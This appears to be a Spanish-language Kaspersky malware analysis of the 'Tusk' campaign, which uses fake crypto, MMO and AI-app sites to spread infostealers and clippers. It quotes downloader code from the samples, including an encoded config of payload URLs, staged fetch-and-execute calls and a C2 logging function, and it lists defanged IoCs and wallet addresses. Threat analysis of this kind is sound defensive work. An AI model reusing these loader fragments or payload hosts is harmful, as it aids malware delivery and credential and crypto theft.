El Equipo de Respuesta ante Emergencias Globales de Kaspersky (GERT) ha identificado una campaña compleja, compuesta por múltiples subcampañas orquestadas por ciberdelincuentes de habla rusa. Las subcampañas imitan proyectos legítimos, modificando ligeramente los nombres y la marca y utilizando múltiples cuentas de redes sociales para aumentar su credibilidad. En nuestro análisis observamos que todas las subcampañas activas alojan el downloader inicial en Dropbox. Este downloader es responsable de enviar muestras adicionales de malware a la máquina de la víctima, que en su mayoría son infostealers (Danabot y StealC) y clippers (herramientas usadas para robar criptodivisas). Además de esto, los actores utilizan el phishing para engañar a los usuarios para que proporcionen información confidencial adicional, como credenciales, que luego pueden venderse en la web oscura o utilizarse para obtener acceso no autorizado a sus cuentas de juego y carteras de criptomonedas, y drenar sus fondos directamente.
Identificamos tres subcampañas activas (en el momento del análisis) y 16 subcampañas inactivas relacionadas con esta actividad. La apodamos “Tusk”, ya que el actor de la amenaza utiliza la palabra “Mammoth” en los mensajes de registro de los downloaders iniciales, al menos en las tres subcampañas activas que analizamos. “Mamut” es el argot utilizado por los actores de amenazas de habla rusa para referirse a las víctimas. Los mamuts solían ser cazados por los pueblos antiguos y sus colmillos se recolectaban y vendían.
El análisis de las subcampañas inactivas sugiere que se trata de campañas antiguas o que aún no han comenzado. En este artículo analizamos las tres últimas subcampañas activas. Esta es la cronología de las subcampañas:
Primera subcampaña (TidyMe)
En esta campaña el actor simuló peerme.io, una plataforma para la creación y gestión de organizaciones autónomas descentralizadas (DAOs) en la blockchain MultiversX. Su objetivo es potenciar las comunidades y proyectos criptográficos proporcionando herramientas de gobierno, financiación y colaboración dentro de un marco descentralizado. El sitio web malicioso es tidyme[.]io.
Como se puede ver en la imagen superior, el sitio web malicioso contiene un botón “Descargar” en lugar del botón “Crea tu equipo ahora” del sitio web legítimo. Al hacer clic en este botón, se envía una solicitud al servidor web con User-Agent como argumento. El servidor web utiliza estos datos para determinar qué versión del archivo malicioso debe enviar a la víctima. Los detalles se muestran en el siguiente diagrama:
Esta campaña tiene varias muestras de malware para macOS y Windows, ambas alojadas en Dropbox. En este post exploraremos únicamente las muestras para Windows.
Además de distribuir malware, esta campaña implica que las víctimas conecten sus monederos de criptomonedas directamente a través del sitio web de la campaña. Para investigar más a fondo, creamos una cartera de prueba con un pequeño saldo y la vinculamos al sitio web. Sin embargo, no se iniciaron transacciones de retirada de fondos en el transcurso de este estudio. El propósito de esta acción era exponer la dirección del monedero de criptomoneda del actor de la amenaza para el posterior análisis del blockchain.
Durante nuestra investigación, los actores de la amenaza cambiaron su infraestructura a los dominios tidymeapp[.]io y tidyme[.]app. El dominio tidymeapp[.]io aloja ahora una versión actualizada del downloader inicial, que incorpora técnicas antianálisis adicionales. A pesar de estos cambios, su objetivo principal sigue siendo el mismo: descargar y ejecutar etapas posteriores. El análisis de estas nuevas muestras aún está en curso, no obstante, sus IoCs se incluyen en la sección IoCs de este informe. A continuación, se ofrecen detalles del análisis de las muestras anteriores de tidyme[.]io.
Downloader inicial (TidyMe.exe)
Este ejemplo es una aplicación Electron. Tras su ejecución, se muestra un formulario CAPTCHA y la víctima debe introducir el código para continuar. No se llevarán a cabo actividades maliciosas hasta que la víctima supere la comprobación CAPTCHA, lo que sugiere que los actores de la amenaza lo añadieron para evitar la ejecución mediante herramientas automáticas de análisis dinámico (por ejemplo, sandboxes).
Vale la pena mencionar que el CAPTCHA se maneja internamente en el archivo JavaScript captcha.js en lugar de ser manejado por un tercero, lo que sugiere la intención de los atacantes de asegurarse de que la víctima ejecute la muestra.
Una vez que el usuario supera la comprobación CAPTCHA, la muestra lanza la interfaz principal de la aplicación, que se asemeja a una página de perfil. Pero, aunque el usuario introduzca alguna información aquí, no ocurrirá nada. Al mismo tiempo, la muestra comienza a descargar los dos archivos maliciosos adicionales en segundo plano, que luego se ejecutan.
Rutina del downloader
La muestra tidyme.exe contiene un archivo de configuración llamado config.json que contiene una URL codificadas en base64 y una contraseña para la descompresión de datos archivados, que se utiliza para descargar las cargas útiles de la segunda etapa. A continuación, se presenta el contenido del archivo:
1 2 3 4 5 |
{ "archive": "aHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2NsL2ZpL2N3NmpzYnA5ODF4eTg4dHprM29ibS91cGRhdGVsb2FkLnJhcj9ybGtleT04N2c5NjllbTU5OXZub3NsY2dseW85N2ZhJnN0PTFwN2RvcHNsJmRsPTE=", "password": "newfile2024", "bytes": "aHR0cDovL3Rlc3Rsb2FkLnB5dGhvbmFueXdoZXJlLmNvbS9nZXRieXRlcy9m" } |
La siguiente tabla muestra las URL descodificadas:
Nombre del campo | Valor decodificado |
Archivo | hxxps[:]//www.dropbox[.]com/scl/fi/cw6jsbp981xy88tzk3obm/updateload.rar?rlkey=87g969em599vnoslcglyo97fa&st=1p7dopsl&dl=1 |
Bytes | hxxp[:]//testload.pythonanywhere[.]com/getbytes/f |
La funcionalidad principal del downloader se almacena en el archivo preload.js en dos funciones, downloadAndExtractArchive y loadFile. La función downloadAndExtractArchive recupera el archivo de campo del archivo de configuración, que es un enlace codificado de Dropbox, lo decodifica y almacena el archivo de Dropbox en la ruta %TEMP%/archive-<RANDOM_STRING>. El archivo descargado es un archivo RAR protegido por contraseña que se extraerá con el valor del campo contraseña en el archivo de configuración, luego se ejecutan todos los archivos .exe de este archivo.
La función loadFile recupera el campo bytes del archivo de configuración, lo decodifica usando base64, y envía una petición GET a la URL resultante. La respuesta contiene una matriz de bytes que se convertirá en bytes y se escribirá en la ruta %TEMP%/<MD5_HASH_OF_CURRENT_TIME>.exe. Tras una descarga correcta, esta función descodifica el archivo, añade 750000000 bytes al final y lo ejecuta.
Estas dos funciones, además de otras, se exportan, lo que permite a los procesos de renderizado llamarlas en el archivo llamado script.js con cierto retraso después de que el usuario pase la comprobación CAPTCHA. Este es el código responsable de llamar a estas funciones:
1 2 3 4 5 6 7 8 |
setTimeout(() => { window.api.downloadAndExtractArchive() }, 10000) setTimeout(() => { window.api.loadFile() }, 100000) ... |
Además de las dos funciones anteriores, la muestra contiene una función llamada sendRequest. Esta función es responsable de enviar mensajes de registro al servidor C2 del actor de la amenaza utilizando mensajes HTTP POST a la URL hxxps[:]//tidyme[.]io/api.php. A continuación, se muestra el código de la función:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
async function sendRequest(data) { const formData = new URLSearchParams(); Object.entries(data).forEach(([key, value]) => { formData.append(key, value); }); const response = await fetch('https://tidyme.io/api.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: formData, }); return response.json(); } |
A continuación, se muestra un ejemplo de los datos que se pasaron a la función sendRequest como argumentos:
1 2 3 4 5 6 7 8 9 |
const { v4: uuidv4 } = require('uuid'); const randomUUID = uuidv4(); let data = { key: "aac1ff44", type: "customlog", code: randomUUID, message: "Нет действия..." }; |
Los mensajes enviados al servidor C2 están en ruso; la siguiente tabla muestra los mensajes junto con la traducción:
Mensaje Original | Traducción |
Ошибка при создании буфера из архивных данных: | Error creando un buffer del archive de datos: |
Нет действия… | Si acción… |
Создаю директорию. | Estoy creando un directorio. |
Получил файл. | Recibí el archivo. |
Записал файл в директорию. | Escribí el archivo al directorio. |
Unboxing подъехал. | Ha llegado el Unboxing. |
Открыл файл. | Abrí el archivo. |
Не смог открыть файл. Error: | No fue posible abrir el archivo. Error: |
Глобальная ошибка: | Error global: |
Выполняю повторный стук. | Llamo de nuevo. |
Не удалось получить файл с сайта! Перезапускаюсь. | ¡Falló el intento de obtener el archive desde el sitio! Reiniciando. |
Файл успешно записан на устройство. | EL archivo fue escrito exitosamente en el dispositivo. |
Раздуваю файл. | Estoy inflando el archivo. |
Открыл файл. | Archivo abierto. |
Неудачное открытие файла, через 4 минуты повторяю…: | Intento fallido de abrir el archivo, se repetirá en 4 minutos…: |
Мамонт открыл лаунчер… | Mamut abrió el lanzador … |
Мамонт свернул лаунчер… | Mamut colapsó el lanzador … |
Мамонт закрыл лаунчер… | Mamut cerró el lanzador … |
El siguiente diagrama muestra la rutina de descarga de este ejemplo:
En esta campaña, tanto updateload.exe como bytes.exe son el mismo archivo con los siguientes hashes:
- MD5: B42F971AC5AAA48CC2DA13B55436C277
- SHA1: 5BF729C6A67603E8340F31BAC2083F2A4359C24B
- SHA256: C990A578A32D545645B51C2D527D7A189A7E09FF7DC02CEFC079225900F296AC
Carga útil (updateload.exe y bytes.exe)
Este ejemplo utiliza HijackLoader, un cargador modular con diferentes capacidades, como la evasión de UAC, varias técnicas de inyección de procesos y la evasión de hooks de API en línea. Tras cargar y ejecutar updateload.exe (o bytes.exe), comienza una serie de inyecciones de procesos, empezando por inyectar una shellcode en cmd.exe, y después se borra a sí mismo, tras lo cual el código malicioso inyectado en cmd.exe inyecta otro shellcode en explorer.exe. Ambos shellcodes son versiones de 32 bits. Como resultado de la cadena de inyección, la etapa final se ejecuta en el contexto del proceso explorer.exe, que es una variante de la familia de malware infostealer StealC. La carga útil final comienza a comunicarse con el servidor C2 del actor de la amenaza, descargando librerías DLL legítimas adicionales que se utilizarán durante la recopilación y el envío de información sobre el sistema infectado, esta información incluye:
- HWID (ID único para el sistema infectado calculado por el malware a partir del número serial del disco C);
- Build Number (meowsterioland4);
- Información de red:
- IP;
- País;
- Resumen del Sistema:
- ID del hardware del Sistema operativo;
- OS;
- Arquitectura;
- Nombre de usuario;
- Tiempo local;
- Aplicaciones instaladas;
- Todos los usuarios;
- Usuario activo;
- Lista de procesos;
- Capturas de pantalla.
A continuación, comenzará a solicitar configuraciones al servidor C2, que es una IP pública, para los datos a recolectar. La siguiente tabla enumera las configuraciones junto con su descripción:
Nombre de configuración | Descripción |
Browser | Información para recolectar desde los navegadores |
Plugins | Información para recolectar desde las extensiones del navegador |
Fplugin | N.D. |
Wallets | Información para recolectar desde las aplicaciones de escritorio de billeteras. |
El siguiente diagrama ilustra los pasos de ejecución para esta muestra:
Identificación de subcampañas adicionales
Una vez completado nuestro análisis de la primera subcampaña, llevamos a cabo actividades de inteligencia sobre ciberamenazas (CTI) y OSINT con el objetivo de recopilar toda la información posible relacionada con el actor de la amenaza y esta campaña específica. Al examinar los registros DNS de la primera campaña (TidyMe), identificamos registros MX con el valor _dc-mx.bf442731a463[.]tidyme[.]io. La resolución de este dominio a un registro A devuelve la IP 79.133.180[.]213. Utilizando Kaspersky Threat Intelligence Portal (TIP), conseguimos identificar todos los dominios históricos y actuales asociados con esta IP. A continuación, se muestra una lista de todos los dominios:
Dominios |
tidyme[.]io |
runeonlineworld[.]io |
voico[.]io |
astrosounsports[.]shop |
batverssaports[.]shop |
dintrinnssports[.]shop |
dustfightergame[.]com |
edvhukkkmvgcct[.]shop |
gurunsmilrsports[.]shop |
izxxd[.]top |
partyroyale[.]fun |
partyroyale[.]games |
partyroyaleplay[.]com |
partyroyaleplay[.]io |
refvhnhkkolmjbg[.]shop |
sinergijiasport[.]shop |
supme[.]io |
vinrevildsports[.]shop |
wuwelej[.]top |
De los dominios anteriores, sólo los tres primeros estaban activos durante nuestro análisis. Ya hemos analizado tidyme[.]io, así que a continuación nos referiremos a las otras dos subcampañas activas.
Además del vínculo entre los dominios y la IP, las tres campañas activas imitan proyectos legítimos y contienen un enlace de descarga a un malware downloader inicial. El siguiente diagrama muestra la correlación entre las distintas campañas:
Segunda subcampaña (RuneOnlineWorld)
En esta campaña, el actor de la amenaza simulaba el sitio web de un juego MMO. El dominio del sitio web original es riseonlineworld.com, mientras que el sitio web malicioso es runeonlineworld[.]io.
El sitio web malicioso contiene un enlace de descarga para el downloader inicial, imitando el lanzador del juego. El downloader está alojado en Dropbox y sigue la misma lógica descrita en la sección TidyMe (la primera subcampaña) para obtener el downloader apropiado para el sistema operativo de la víctima. El nombre de ejemplo es RuneOnlineWorld.exe.
Downloader inicial (RuneOnlineWorld.exe)
Este ejemplo también es una aplicación Electron con prácticamente la misma estructura y lógica que el downloader inicial de la primera subcampaña. Hay diferentes URLs en el archivo de configuración, pero por lo demás la mayoría de los cambios afectan a la interfaz principal de la aplicación: se parece más a una página de inicio de sesión que a una página de perfil. Además, la página de inicio de sesión procesa realmente los datos introducidos.
En primer lugar, se comprueba la complejidad de la contraseña. Si se supera la comprobación, el nombre de usuario y la contraseña se envían al C2. A continuación, se muestra una página de carga que es esencialmente una maqueta para dar a las tareas en segundo plano tiempo suficiente para descargar los archivos maliciosos adicionales. El siguiente diagrama muestra los pasos que sigue el downloader:
Primera carga útil (updateload.exe)
En la campaña RuneOnlineWorld las dos cargas útiles ya no son el mismo archivo. Updateload.exe utiliza HijackLoader e inyecta código en múltiples programas legítimos para evadir la detección. Comienza inyectando código en cmd.exe y luego en explorer.exe. A continuación, el código malicioso inyectado en explorer.exe comienza a comunicarse con varios servidores C2 para descargar archivos DLL y MSI maliciosos adicionales y guardarlos en la ruta C:\Users\<USERNAME>\Appdata\\. Después de descargar los archivos maliciosos, explorer.exe ejecuta los archivos MSI utilizando msiexec.exe y los archivos DLL utilizando rundll32.exe. La etapa final de esta muestra esta conformada por múltiples infostealers de las familias de malware Danabot y StealC (inyectados en explorer.exe). El siguiente diagrama muestra la rutina de ejecución de esta muestra:
Segunda carga útil (bytes.exe)
Esta muestra también utiliza HijackLoader para evadir la detección, desempaqueta diferentes etapas de la carga útil y las inyecta en procesos legítimos. En primer lugar, crea e inyecta el código malicioso en cmd.exe, que lo inyecta en explorer.exe y, a continuación, en OpenWith.exe, un proceso legítimo de Windows. El código malicioso inyectado en OpenWith.exe descarga la siguiente etapa desde el C2 del actor de la amenaza (otra IP pública), la decodifica y la inyecta en otra instancia de OpenWith.exe. En esta etapa, la carga útil descarga seis archivos al directorio %APPDATA%\AD_Security\ y crea una tarea programada llamada FJ_load que ejecutará el archivo llamado madHcCtrl.exe al iniciar sesión para su persistencia. A continuación, se muestra una lista de los archivos descargados por esta etapa:
SHA256 | Nombre de archivo |
f586b421f10b042b77f021463934cfeda13c00705987f4f4c20b91b5d76d476c | bufotenine.yml |
69a90665113bd73b30360d87f7f6ed2c789a90a67f3b6e86474e21273a64f699 | madHcCtrl.exe |
523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722 | madHcNet32.dll |
b7d3bc460a17e1b43c9ff09786e44ea4033710538bdb539400b55e5b80d0b338 | mvrSettings32.dll |
0891edb0cc1c0208af2e4bc65d6b5a7160642f89fd4b4dc321f79d2b5dfc2dcc | unrar.dll |
db4328dfbf5180273f144858b90cb71c6d4706478cac65408a9d9df372a08fc3 | wickerwork.indd |
Todos estos archivos DLL y EXE son legítimos, excepto madHcNet32.dll. Los archivos maliciosos wickerwork.indd y bufotenine.yml contienen datos cifrados.
El siguiente diagrama muestra los pasos que sigue esta muestra para extraer la carga útil final:
madHcNet32.dll
madHcCtrl.exe carga y ejecuta madHcNet32.dll, que, a su vez, utiliza HijackLoader para extraer y ejecutar la carga útil final. Tras la ejecución, madHcCtrl.exe inyecta la siguiente etapa en cmd.exe y, a continuación, la etapa final se inyecta en explorer.exe. La carga útil final es un malware clipper escrito en GO. Esta muestra se basa en el malware clipper de código abierto. El siguiente diagrama muestra los pasos de ejecución de esta muestra:
El clipper monitoriza los datos del portapapeles. Si se copia una dirección de cartera de criptomoneda en el portapapeles, la sustituye por la siguiente:
- BTC: 1DSWHiAW1iSFYVb86WQQUPn57iQ6W1DjGo
Además, la muestra contiene cadenas únicas como las siguientes:
- C:/users/Helheim/
- C:/users/Helheim/Desktop/clipper no autorun/mainTIMER.go
Mientras buscábamos muestras que contuvieran las mismas cadenas, identificamos muestras adicionales con diferentes direcciones de monedero:
- ETH: 0xaf0362e215Ff4e004F30e785e822F7E20b99723A
- BTC: bc1qqkvgqtpwq6g59xgwr2sccvmudejfxwyl8g9xg0
Identificamos algunas transacciones en la segunda y tercera direcciones de monedero. No había transacciones relacionadas con la primera dirección de monedero en el momento de escribir este post.
El segundo monedero se vio activo entre el 4 de marzo y el 31 de julio, y recibió un total de 9.137 ETH. La tercera estuvo activa entre el 2 de abril y el 6 de agosto con 0,0209 BTC recibidos en total. Nótese que estas direcciones sólo se observaron en el malware Clipper. Esta campaña también utiliza infostealers para robar monederos de criptomonedas basados en software que podrían utilizarse para acceder a los fondos de la víctima, aunque no hemos visto tal actividad. Además, los infostealers recopilan credenciales de navegadores y otras fuentes que podrían permitir al actor de la amenaza obtener acceso a otros servicios utilizados por la víctima (por ejemplo, sistemas de banca en línea) o vender los datos robados en la dark web.
Tercera subcampaña (Voico)
En esta campaña, los actores de amenaza simularon un proyecto de traducción AI identificado como YOUS. El sitio original es yous.ai, mientras que el sitio malicioso es voico[.]io:
Al igual que en las dos subcampañas anteriores, el sitio web malicioso contiene un enlace de descarga para el downloader inicial que imita la aplicación. El downloader está alojado en Dropbox y sigue la misma lógica descrita en la primera subcampaña para descargar el downloader apropiado para el sistema operativo de la víctima. Durante nuestra investigación, el sitio web malicioso de esta campaña dejó de existir. El nombre de la muestra es Voico.exe.
Downloader inicial (Voico.exe)
Esta muestra también es una aplicación Electron con prácticamente la misma estructura que los downloaders iniciales de las dos subcampañas anteriores. La lógica del downloader también sigue siendo la misma. La mayoría de los cambios afectan a la interfaz principal de la aplicación, y el archivo de configuración contiene diferentes URL.
Además de estos cambios, el ejemplo pide a la víctima que diligencie un formulario de registro, que no envía los datos al C2. En su lugar, pasa las credenciales del usuario a la función console.log():
1 2 3 4 5 6 7 8 9 10 |
// Теперь вы можете использовать эти значения для дальнейшей обработки или отправки на сервер // <Translation>: Now you can use these values for further processing or sending to the server console.log('Name:', name); console.log('Username:', username); console.log('Native Language:', nativeLanguage); console.log('Voice:', voice); console.log('Password:', password); El siguiente diagrama muestra la rutina de ejecución de este ejemplo: |
El siguiente diagrama muestra la rutina de ejecución de este ejemplo:
Ambas muestras de esta campaña (updateload.exe y bytes.exe) tienen un comportamiento muy similar a la muestra updateload.exe de la segunda subcampaña.
Carga útil (updateload.exe y bytes.exe)
Estas muestras tienen un comportamiento similar a la muestra updateload.exe de la segunda subcampaña, con una diferencia: el malware StealC que descargan se comunica con un servidor C2 diferente. Aparte de eso, toda la rutina desde la ejecución de updateload.exe y bytes.exe hasta la ejecución final de la carga útil es la misma. A continuación, se muestra un diagrama de la rutina de ejecución de estas muestras:
Otras posibles subcampañas
Durante el análisis de esta campaña, las muestras analizadas se alojaron en las siguientes rutas del sitio web del atacante: http[:]//testload.pythonanywhere.com/getbytes/f y http[:]//testload.pythonanywhere.com/getbytes/m. No encontramos otros recursos utilizados en las subcampañas actuales (lo que no significa que no vayan a aparecer en el futuro). Sin embargo, observamos otras muestras alojadas en distintas rutas, no relacionadas con las subcampañas en curso. La siguiente es una lista de rutas en el sitio web de PythonAnywhere donde están alojadas estas muestras:
- http[:]//testload.pythonanywhere.com/getbytes/s
- http[:]//testload.pythonanywhere.com/getbytes/h
Los hashes de los archivos de las nuevas rutas ya están incluidos en la lista de IoCs que aparece más adelante.
Conclusión
La campaña descubierta en este informe demuestra la amenaza persistente y en evolución que suponen los ciberdelincuentes, expertos en imitar proyectos legítimos para engañar a las víctimas. Aprovechándose de la confianza que los usuarios depositan en plataformas conocidas, estos atacantes despliegan con eficacia una serie de programas maliciosos diseñados para robar información confidencial, comprometer sistemas y, en última instancia, obtener beneficios económicos.
El uso de técnicas de ingeniería social como el phishing, junto con mecanismos de distribución de malware en varias fases, pone de manifiesto las avanzadas capacidades de los autores detrás de la amenaza. El uso de plataformas como Dropbox para alojar los downloaders iniciales, junto con el despliegue de malware infostealer y clipper, apunta a un esfuerzo coordinado para eludir la detección y maximizar el impacto de sus operaciones. Los puntos en común entre las distintas subcampañas y la infraestructura compartida entre ellas sugieren además una operación bien organizada, potencialmente vinculada a un único actor o grupo con motivos financieros específicos. Nuestro análisis detallado de las tres subcampañas activas, desde las rutinas de descarga iniciales hasta las cargas útiles finales, revela una compleja cadena de ataques diseñados para penetrar en entornos Windows y macOS.
Además de las subcampañas activas, el descubrimiento de 16 subcampañas inactivas pone de manifiesto la naturaleza dinámica y adaptable de las operaciones del actor de la amenaza. Estas subcampañas inactivas, que pueden representar campañas antiguas que se han retirado o campañas nuevas que aún no se han lanzado, ilustran la capacidad del actor de amenaza para crear y desplegar rápidamente nuevas operaciones maliciosas, dirigidas a temas de tendencia en el momento de la campaña. Esta rápida rotación sugiere un adversario ágil y bien dotado de recursos, capaz de cambiar rápidamente de táctica e infraestructura para evitar ser detectado y mantener la eficacia de sus campañas. La presencia de estas campañas inactivas también indica que es probable que el actor de amenaza continúe evolucionando sus estrategias, reactivando potencialmente estas subcampañas o lanzando otras completamente nuevas en un futuro próximo. Esto refuerza la necesidad de una supervisión continua y de estrategias de defensa proactivas para adelantarse a estas amenazas en evolución.
Si su organización ha sufrido un incidente de ciberseguridad que requiere una respuesta inmediata, póngase en contacto con el servicio de Respuesta a Incidentes de Kaspersky.
Indicadores de Compromiso
URL
hxxp[:]//testload.pythonanywhere.com/getbytes/f
hxxp[:]//testload.pythonanywhere.com/getbytes/h
hxxp[:]//testload.pythonanywhere.com/getbytes/m
hxxp[:]//testload.pythonanywhere.com/getbytes/s
hxxps[:]//www.dropbox.com/scl/fi/cw6jsbp981xy88tzk3obm/updateload.rar?rlkey=87g969em599vnoslcglyo97fa&st=1p7dopsl&dl=1
hxxps[:]//www.dropbox.com/scl/fi/gvlceblluk9thfijhywu2/update.rar?rlkey=ch37ht5fdklng66t04r8h8kaa&st=sddqqvhz&dl=1
https[:]//www.dropbox.com/scl/fi/dcmq2ucpdcsz3zvpeg85i/mediafile.rar?rlkey=ck5oz8qzz6qtz2i6tl273gbf7&st=4t9ecvfd&dl=1
https[:]//www.dropbox.com/scl/fi/qcrl58lus5dmfqo203ly5/mediafile2.rar?rlkey=1hx6glacae5nwcq71nat8oww0&st=ox6nxk7m&dl=1
IoCs de red
Dominio o IP | Detalles |
46.8.238.240 | StealC C2 Server |
77.91.77.200 | Download madHcCtrl files |
23.94.225.177 | StealC C2 Server |
89.169.52.59 | C2 |
81.19.137.7 | C2 |
194.116.217.148 | C2 |
85.28.47.139 | C2 |
tidyme.io | Campaign main domain |
tidyme.app | Campaign main domain |
tidymeapp.io | Campaign main domain |
runeonlineworld.io | Campaign main domain |
voico.io | Campaign main domain |
astrosounsports.shop | Inactive sub-campaign |
batverssaports.shop | Inactive sub-campaign |
dintrinnssports.shop | Inactive sub-campaign |
dustfightergame.com | Inactive sub-campaign |
edvhukkkmvgcct.shop | Inactive sub-campaign |
gurunsmilrsports.shop | Inactive sub-campaign |
izxxd.top | Inactive sub-campaign |
partyroyale.fun | Inactive sub-campaign |
partyroyale.games | Inactive sub-campaign |
partyroyaleplay.com | Inactive sub-campaign |
partyroyaleplay.io | Inactive sub-campaign |
refvhnhkkolmjbg.shop | Inactive sub-campaign |
sinergijiasport.shop | Inactive sub-campaign |
supme.io | Inactive sub-campaign |
vinrevildsports.shop | Inactive sub-campaign |
wuwelej.top | Inactive sub-campaign |
1h343lkxf4pikjd.dad | Hosts malicious files (ex. Danabot) |
IoCs de Host
Hashes de archivos maliciosos
Hashes de archivos legítimos usados en la campaña
SHA256
69A90665113BD73B30360D87F7F6ED2C789A90A67F3B6E86474E21273A64F699
B7D3BC460A17E1B43C9FF09786E44EA4033710538BDB539400B55E5B80D0B338
0891EDB0CC1C0208AF2E4BC65D6B5A7160642F89FD4B4DC321F79D2B5DFC2DCC
9D8547266C90CAE7E2F5F5A81AF27FB6BC6ADE56A798B429CDB6588A89CEC874
7D42E121560BC79A2375A15168AC536872399BF80DE08E5CC8B3F0240CDC693A
CE0905A140D0F72775EA5895C01910E4A492F39C2E35EDCE9E9B8886A9821FB1
4C33D4179FFF5D7AA7E046E878CD80C0146B0B134AE0092CE7547607ABC76A49
EA748CAF0ED2AAC4008CCB9FD9761993F9583E3BC35783CFA42593E6BA3EB393
934D882EFD3C0F3F1EFBC238EF87708F3879F5BB456D30AF62F3368D58B6AA4C
AE3CB6C6AFBA9A4AA5C85F66023C35338CA579B30326DD02918F9D55259503D5
Billeteras de crypto divisas
Crypto | Wallet Address |
BTC | 1DSWHiAW1iSFYVb86WQQUPn57iQ6W1DjGo |
BTC | bc1qqkvgqtpwq6g59xgwr2sccvmudejfxwyl8g9xg0 |
ETH | 0xaf0362e215Ff4e004F30e785e822F7E20b99723A |
Tusk: Develando una compleja campaña de robo de información